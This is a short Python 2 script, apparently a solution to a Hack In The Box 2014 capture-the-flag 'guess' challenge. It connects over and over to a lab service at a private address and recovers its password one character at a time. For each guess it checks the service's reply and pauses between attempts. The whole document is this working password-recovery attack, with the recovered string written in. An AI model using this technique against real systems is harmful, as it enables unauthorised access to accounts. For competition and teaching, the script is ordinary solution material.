Guess challenge 3 HITB2014

guess-hitb2014c3.py

import socket
import re
import time 

def recv_until(st):
  ret = ""
  while st not in ret:
    ret += s.recv(8192)
  return ret 

space = "abcdefghijklmnopqrstuvwxyz0ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; 

#space = "at"; 

correct = "thelasteverhackintheboxconferenceheldinkualalumpurmalaysia" 

current = 0 

while True:
        test = space[current]
        s = socket.create_connection(("192.168.10.200", 54321))
        s.settimeout(1)
        recv_until("word :")
        tt = correct + test
        print "testing ", tt
        s.send(tt)
        time.sleep(0.2*(1+len(correct)))
        res = s.recv(8192)
        print "$$$---", res, "---$$$"
        if  "Are" in res:
                current += 1
        else:
                correct += test
                print "Current: ", correct
                current = 0
        s.close()